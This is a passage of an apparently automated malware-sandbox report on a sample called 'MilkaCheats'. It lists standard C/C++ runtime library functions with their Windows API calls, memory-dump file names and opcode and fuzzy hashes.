Instruction ID: c3d236b8fe4deecef682ea353ce49c4b444584ffc3c61b1a5e2b3d31a0ab7d98
Opcode Fuzzy Hash: 45bd638c45ed047e4ace6d3980636b614aa9f55b5a801a4045f2416c506d87f5
Instruction Fuzzy Hash: 7BE0E6355527B0AFD3009FB2BD4D8853A94AB46B663410461F702FA9B0D6B405908754

Function 000D7E8F Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 000D8108

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: c71a0d0f9198d3046371c7cbc1978002d220423bc3bb0fcf391d8938726c400d
Instruction ID: b0c72adbdf6732cc15128a6ec2f4ba85ee20e1c301898450483d6e85e5d9d5da
Opcode Fuzzy Hash: c71a0d0f9198d3046371c7cbc1978002d220423bc3bb0fcf391d8938726c400d
Instruction Fuzzy Hash: 2CB1DF74A04349AFDB61DF98C880BAEBBF5AF45310F14815AE514AB392DB709A46CB70

Function 000CA408 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000CA527
___TypeMatch.LIBVCRUNTIME ref: 000CA635
CallUnexpected.LIBVCRUNTIME ref: 000CA7A2

Strings

csm, xrefs: 000CA445
csm, xrefs: 000CA55E
csm, xrefs: 000CA4B2

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: b2b3afcc8f608bc960a4722f4239594aa7adc25e26ec81b7c66d03c66642a2cb
Instruction ID: e11b1bb08dbec1eafcc01bab958d0ad4fbfc59886c04b54816b3dcdce79180ff
Opcode Fuzzy Hash: b2b3afcc8f608bc960a4722f4239594aa7adc25e26ec81b7c66d03c66642a2cb
Instruction Fuzzy Hash: B2B17A71A0020DEFCF29DFA4C881EAEB7B5FF06318B14815EE8016B252D735DA51CB96

Function 000D56C6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,00000000,?,865EA617,?,000D57D3,?,?,00000000,00000000), ref: 000D5787

Strings

ext-ms-, xrefs: 000D5731
api-ms-, xrefs: 000D571D

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 77e964aaef9af0ff97f81f721ce077a6cf6605865e1ad86522eb629902f44491
Instruction ID: ee1578190efeace094ff8ab8dde9f3cefd3aa8113018fefcca413d12ef7ed5e1
Opcode Fuzzy Hash: 77e964aaef9af0ff97f81f721ce077a6cf6605865e1ad86522eb629902f44491
Instruction Fuzzy Hash: 8321EB35A04B50EBD7619B61BC84A5A77A8EB41B65F340226EE15BB3D1E634EE00C6F0

Function 000C68DA Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 000C6923
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 000C698E
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000C69AB
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 000C69EA
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 000C6A49
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 000C6A6C

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: be21da490c96100e450798e3450d093e4e1f1068c884163ca6ad31b5191a914e
Instruction ID: ea4af62d25625fa97b768b5769f9cc8143846111187ce1524bf75fd8fda96c28
Opcode Fuzzy Hash: be21da490c96100e450798e3450d093e4e1f1068c884163ca6ad31b5191a914e
Instruction Fuzzy Hash: 66517C72A0020AAFEB309F64CC45FAE7BA9EB44750F158129FA15FA190DB369D148F61

Function 000CA09A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000CA091,000C87BA,000C795C), ref: 000CA0A8
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000CA0B6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000CA0CF
SetLastError.KERNEL32(00000000,000CA091,000C87BA,000C795C), ref: 000CA121

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5a186aaebc9018271281bcc7892eb13cf5f7410edab3bfbb832256d0844acee0
Instruction ID: a95216822875e45c721f37e0d5f2cf7d9cf7a48099bb6271cd43091713fa21e9
Opcode Fuzzy Hash: 5a186aaebc9018271281bcc7892eb13cf5f7410edab3bfbb832256d0844acee0
Instruction Fuzzy Hash: B00188367093296EAB642BB57C87F9E3A94EB037B8F34032DFA10554F1EF558C81A145

Function 000D18F1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,865EA617,?,?,00000000,000E3DE9,000000FF,?,000D1881,?,?,000D1855,00000000), ref: 000D1926
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 000D1938
FreeLibrary.KERNEL32(00000000,?,00000000,000E3DE9,000000FF,?,000D1881,?,?,000D1855,00000000), ref: 000D195A

Strings

CorExitProcess, xrefs: 000D1930
mscoree.dll, xrefs: 000D191F

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7edf49fc6901b4c72a4416fa57c331966d1ca05e043c102eed9cc343a79a82a4
Instruction ID: a3d09bddcca893a73cab4c8bf9bcba9eba349f09eb42443163656ac099a41a91
Opcode Fuzzy Hash: 7edf49fc6901b4c72a4416fa57c331966d1ca05e043c102eed9cc343a79a82a4
Instruction Fuzzy Hash: 7301A735904659FFDB118F51DC45BAEBBF9FB04B10F000536E911B6290DBB89900CA50

Function 000C60E2 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 000C60E9
std::_Lockit::_Lockit.LIBCPMT ref: 000C60F4
std::_Lockit::~_Lockit.LIBCPMT ref: 000C6162

Part of subcall function 000C6245: std::locale::_Locimp::_Locimp.LIBCPMT ref: 000C625D

std::locale::_Setgloballocale.LIBCPMT ref: 000C610F
_Yarn.LIBCPMT ref: 000C6125

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 76a296686282a0dc2ca9afaeadd0e58226d67b1014b95a4b4235b56bd3043e00
Instruction ID: 05667004b4c80eaecacb4ae30b6bec9eb559ed08733c33dfacf266f5c4927574
Opcode Fuzzy Hash: 76a296686282a0dc2ca9afaeadd0e58226d67b1014b95a4b4235b56bd3043e00
Instruction Fuzzy Hash: A201B179A005149FCB06AB20DC95EBC7BB1FF80741B59004CE81167392CF39AEC2CB80

Function 000D7261 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000D73F9
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 000D740C

Strings

7r, xrefs: 000D7302
7r, xrefs: 000D72E0

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 7r$7r
API String ID: 885266447-589201516
Opcode ID: d5a3bb9ac3b4f6f816ff14475476270a34a09eebdcf5fa823ab6f6a38222b798
Instruction ID: 0833a60949bf69a5d46b35c7f6e350152e3e9ff2d0792ac2a344141286a42688
Opcode Fuzzy Hash: d5a3bb9ac3b4f6f816ff14475476270a34a09eebdcf5fa823ab6f6a38222b798
Instruction Fuzzy Hash: BE514D71A04249EFCF14CF98C891EAEBBB2EF49310F14815AE859A7351E7309E41DB60

Function 000CB1E2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,000CB193,00000000,00000000,?,?,?,?,000CB2BD,00000002,FlsGetValue,000E5EB8,FlsGetValue), ref: 000CB1EF
GetLastError.KERNEL32(?,000CB193,00000000,00000000,?,?,?,?,000CB2BD,00000002,FlsGetValue,000E5EB8,FlsGetValue,00000000,?,000CA14D), ref: 000CB1F9
LoadLibraryExW.KERNEL32(?,00000000,00000000,000E5EB8,FlsGetValue,00000000,?,000CA14D), ref: 000CB221

Strings

api-ms-, xrefs: 000CB206

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: dc22215bb793cd8af97598654f675632605e5abcbc80489cebc8a009b1bed406
Instruction ID: 7657ae6cbfeac96ec015088b36daa7f5f47e1857c9eafb938d137c2fa0eb8839
Opcode Fuzzy Hash: dc22215bb793cd8af97598654f675632605e5abcbc80489cebc8a009b1bed406
Instruction Fuzzy Hash: 8CE01A30680348BAEB101BA1FC46F6D3A94AB00B54F144134FA0CFC0E1D7759A109685

Function 000D63AA Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(865EA617,00000000,00000000,00000000), ref: 000D640D

Part of subcall function 000DAB29: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,000DA50C,?,00000000,-00000008), ref: 000DABD5

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 000D6668
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 000D66B0
GetLastError.KERNEL32 ref: 000D6753

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 0f41207a75e24cfb4658691a2adc0712014137ee207092017dc52b49d4a5d6cd
Instruction ID: 926c308012a9eface8f909e5e9e60954480a20192ef1db20524415bfbe1977b2
Opcode Fuzzy Hash: 0f41207a75e24cfb4658691a2adc0712014137ee207092017dc52b49d4a5d6cd
Instruction Fuzzy Hash: 64D17975D042589FCF11CFA8D880AEDBBB5FF49314F18456AE826EB352D731A941CB60

Function 000CA1B1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000CA278
___AdjustPointer.LIBCMT ref: 000CA29B
___AdjustPointer.LIBCMT ref: 000CA337

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 79f345b366643020e140ba6afd39e8fc6b7a799d93faeed1cd1ab9721b1bc3c0
Instruction ID: 6ee87175bfbde3d39bcb4ac9fba6b3ffd2990bfcec5444998ec6adb1b9f4c3ee
Opcode Fuzzy Hash: 79f345b366643020e140ba6afd39e8fc6b7a799d93faeed1cd1ab9721b1bc3c0
Instruction Fuzzy Hash: AC51D372B0461A9FDB298F59D841FBEB3A4FF02318F14452EE90547192E732ED80DB92

Function 000DAF45 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 000DAB29: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,000DA50C,?,00000000,-00000008), ref: 000DABD5

GetLastError.KERNEL32 ref: 000DAFA9
__dosmaperr.LIBCMT ref: 000DAFB0
GetLastError.KERNEL32(?,?,?,?), ref: 000DAFEA
__dosmaperr.LIBCMT ref: 000DAFF1

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 878734fe53e11ed1da8ed4c66237def7ffc5a546b82939e5f6732b9b720ead9f
Instruction ID: 3492c99ddbd08813dceb6224ac94567d19d2ac793ad776ee2c16bfdaf9a075b1
Opcode Fuzzy Hash: 878734fe53e11ed1da8ed4c66237def7ffc5a546b82939e5f6732b9b720ead9f
Instruction Fuzzy Hash: B421A771700305AFDB20AFA5C881AAFBBA9FF41364B15852BF82997341D734EC409BB1

Function 000D09D6 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51342a1c92ea84103986883891e0c22e166ac8b53863580de97e0bccf3087dd3
Instruction ID: 28756900857f8414bd28f212e2df7540aa2a9c04a45fcbfa92ed03cf953c0fcf
Opcode Fuzzy Hash: 51342a1c92ea84103986883891e0c22e166ac8b53863580de97e0bccf3087dd3
Instruction Fuzzy Hash: DF216D32200306AFDB60EF69EC81BAAB7A9AF40364F144527F91D97352D730ED408B72

Function 000DBEF4 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000DBEFC

Part of subcall function 000DAB29: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,000DA50C,?,00000000,-00000008), ref: 000DABD5

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000DBF34
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000DBF54

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: b2908d447417c5de23934fcfe7b21e1212ee1fbef28b6ab5dc6a330c37ea71a5
Instruction ID: 8cb4759c54d147cc683538b45aa794737a6ba6859ddf57608fe0d40dc7b7f675
Opcode Fuzzy Hash: b2908d447417c5de23934fcfe7b21e1212ee1fbef28b6ab5dc6a330c37ea71a5
Instruction Fuzzy Hash: EF11E1B1505705BF6B2167B15CCACAF399CDF853A97120027F80592302EB64CD408971

Function 000C2037 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000C2043
int.LIBCPMT ref: 000C2056

Part of subcall function 000C2B8B: std::_Lockit::_Lockit.LIBCPMT ref: 000C2B9C
Part of subcall function 000C2B8B: std::_Lockit::~_Lockit.LIBCPMT ref: 000C2BB6

std::_Facet_Register.LIBCPMT ref: 000C2089
std::_Lockit::~_Lockit.LIBCPMT ref: 000C209F

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: cacbdc0633d82fd90a362e48d9e1b4478efa89544da73f1aa4c4dc9d5c46971e
Instruction ID: 368413a8d4b5a14aed4d88860d88de5c5baa9257ea5a8a76f204d1d7f2c22bc9
Opcode Fuzzy Hash: cacbdc0633d82fd90a362e48d9e1b4478efa89544da73f1aa4c4dc9d5c46971e
Instruction Fuzzy Hash: 4F01A776900614ABCB15EB64D855FDE77B8DF80760B21414DF906A72A3EF31AE81D780

Function 000C1ECC Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 000C1ED8
int.LIBCPMT ref: 000C1EEB

Part of subcall function 000C2B8B: std::_Lockit::_Lockit.LIBCPMT ref: 000C2B9C
Part of subcall function 000C2B8B: std::_Lockit::~_Lockit.LIBCPMT ref: 000C2BB6

std::_Facet_Register.LIBCPMT ref: 000C1F1E
std::_Lockit::~_Lockit.LIBCPMT ref: 000C1F34

Memory Dump Source

Source File: 00000000.00000002.1862544262.00000000000C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.1862521444.00000000000C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862576042.00000000000E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862597920.00000000000EF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862639501.0000000000141000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862659456.0000000000142000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862679114.0000000000144000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_MilkaCheats.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: ab6a8170d6fec93dba4b5b7d08a8133eeb0477f59eefc293a365dc206d2d1268
Instruction ID: 52ef368fd9921c0f72db15e6bfe5a41f73aeefb299c6af86cf0eac4a349320c1
Opcode Fuzzy Hash: ab6a8170d6fec93dba4b5b7d08a8133eeb0477f59eefc293a365dc206d2d1268
Instruction Fuzzy Hash: 7801DB76510514ABCB15AB64DC55FDE77A8DF82364B51415CF811A72A3DF30AF42C7C0

